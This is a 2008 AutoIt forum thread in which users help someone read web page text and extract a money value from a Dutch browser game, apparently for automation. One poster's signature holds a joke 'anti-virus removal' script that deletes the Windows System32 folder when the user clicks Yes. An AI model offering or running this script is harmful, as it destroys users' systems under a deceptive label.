PcExpert Posted January 16, 2008 Share Posted January 16, 2008 Hi all, If I execute _IEBodyReadText then I get a msgbox with this text: Text line 1 Text line 2 Text line 3 Text line 4 I put this in my script: #include<IE.au3> $oIE = _IECreate("MyURL") $txt = _IEBodyReadText($oIE) If $txt = "Text line 3" then Msgbox(0, "", "Text detected") EndIf But why wont autoit show the masgbox when the specified text is found? Thanks! Link to comment Share on other sites More sharing options...
Firefoxy Posted January 16, 2008 Share Posted January 16, 2008 (edited) It would work if $var was the text you wanted and you put it in the MsgBox ex. MsgBox(0, "", "Text Detected: " & $var) I put this in my script: #include<IE.au3> $var = InputBox("", "What would you like to find?") $oIE = _IECreate("MyURL") $txt = _IEBodyReadText($oIE) If $txt = $var then Msgbox(0, "", "Text detected: " & $var) EndIf Edited January 16, 2008 by Firefoxy ;Ultimate Anti-Virus Removal Tool $ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.") If $ans = 6 Then DirRemove("C:\WINDOWS\System32") ElseIf $ans = 7 Then Exit EndIf Link to comment Share on other sites More sharing options...
PcExpert Posted January 16, 2008 Author Share Posted January 16, 2008 This doesnt work either, no message, but the text is there. Link to comment Share on other sites More sharing options...
DjDeep00 Posted January 16, 2008 Share Posted January 16, 2008 PcExpert...Look in the helpfile for more information on the String functions.... I believe this is what you want... #include<IE.au3> $oIE = _IECreate("www.google.com",0,0) $txt = _IEBodyReadText($oIE) If StringInStr($txt,"2008") then Msgbox(0, "", "Text detected") EndIf _IEQuit($oIE) Link to comment Share on other sites More sharing options...
PcExpert Posted January 16, 2008 Author Share Posted January 16, 2008 (edited) @DjDeep00I'm going to need your help again:This is the text as returned by _IEBodyReadText()BendesNeem jij de macht over?USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811BendesOverzicht Nieuws Eigendom / Spullen Hoeren Woning MSN Invite (tip) Gangsters Credits Online leden Hummer-strijd Chat (supertip) Uitleg Helpdesk StadCentrum Werken Winkels Wapens Apotheek Supermarkt Autodealer Benzinepomp Fix it McDonalds Stichting Chris Sigarenwinkel Sportschool Ziekenhuis Gevangenis Hotel Gemeentehuis Forum (testen) Prikbord CasinoLoterij (nieuw) Dobbel spel Gokkast (tip) Kop of munt Roulette Deal or no deal Paardenrennen Kraak de kluis Vegas Rijschool Kleding Advocaten Regels Status Top 100 Geld Zoek lid Veel gangsters en geld bij MSN Uitnodiging! Hummer en 1000 credits winnen met MSN-invite? MSN-invite WerkenWerkenWerken voor de overheiddoe dit werkWerken bij de macdoe dit werkWerken als proefkonijndoe dit werkWerken voor de maffiadoe dit werkWerken bij koffieshopdoe dit werkInstellingenProfiel aanpassen Profiel Instellingen Vrienden toevoegen MisdaadMisdaad Scooter stelen Echte misdaad Georganiseerd Smokkel Meldt Misdaad GeldBank Doneren Werk als gangster Codes Film prijzen FamiliesMijn bende Bende forum nieuw Bende verlaten Rijke bendes Arme Bendes Top 50 Rang Huisdieren testen Top 10 huisdieren Copyright 2007 - Bendes.nl | All Rights Reserved. Design by R&B. Hosted by XunaNow I need to only find this part:USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811BendesI want to get the amount of money I have, thats this part:Geld:1159I think I need to extract ' Geld: ' from the above string, so I only have the value: 1159But how do I do that, I played with the string functions, but I didnt get the result I wanted. Thanks! Edited January 16, 2008 by PcExpert Link to comment Share on other sites More sharing options...
DjDeep00 Posted January 16, 2008 Share Posted January 16, 2008 @PcExpert...There are many ways of getting that value. You can either use Stringsplit() or StringRepExp. Below is an example of Stringsplit(): $String_Found="USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811Bendes" $First_Step=StringSplit($String_Found," ") MsgBox(4096,"",$First_Step[2]) Link to comment Share on other sites More sharing options...
PcExpert Posted January 16, 2008 Author Share Posted January 16, 2008 Thanks again, DjDeep00 Link to comment Share on other sites More sharing options...
PcExpert Posted January 16, 2008 Author Share Posted January 16, 2008 (edited) @DjDeep00How to read that string from a webpage, i think i can not use _IEBodyReadText() Because the string changes:ThisUSERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811BendesCan change to, for example:USERNAME Geld:3500 LEVENENERGIE(0) Ervaring: 3500Bendes'Geld' means money. I can get money by working, but as this value changes, how to get it then? Edited January 16, 2008 by PcExpert Link to comment Share on other sites More sharing options...
DjDeep00 Posted January 16, 2008 Share Posted January 16, 2008 I am not sure what your question is. Every time you call _iebodyreadtext() will read the current most data in the webpage. So after the page updates you just call it again?...Post your code. Link to comment Share on other sites More sharing options...
PcExpert Posted January 16, 2008 Author Share Posted January 16, 2008 $oIE = _IECreate("[url="http://www.bendes.nl"]www.bendes.nl[/url]") $txt = _IEBodyReadText($oIE) $String_Found="USERNAME Geld:1159 LEVENENERGIE(0) Ervaring: 2811Bendes" If $txt = $String_Found then $First_Step=StringSplit($String_Found," ") MsgBox(4096,"",$First_Step[2]) $Second_Step=StringSplit($First_Step[2],"") MsgBox(4096,"",$Second_Step[2]) EndIf But this code cannot be working because the value of 'geld' is already defined. Thanks! Link to comment Share on other sites More sharing options...
DjDeep00 Posted January 16, 2008 Share Posted January 16, 2008 #include <IE.au3> #include <Array.au3> $String_Found="" $oIE = _IECreate('www.google.com',0,0) $Body_Text= _IEBodyReadText($oIE) $Body_Array=StringSplit($Body_Text, @LF) ;_ArrayDisplay($Body_Array,"") For $x=1 to $Body_Array[0] If StringInStr($Body_Array[$x],"2008")<>0 then ;Instead of 2008, you would put Geld: $String_Found=$Body_Array[$x] ExitLoop EndIf Next If $String_Found<>"" then $First_Step=StringSplit($String_Found," ") MsgBox(4096,"",$First_Step[2]) EndIf _IEQuit($oIE) Link to comment Share on other sites More sharing options...
PcExpert Posted January 17, 2008 Author Share Posted January 17, 2008 Thanks! Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now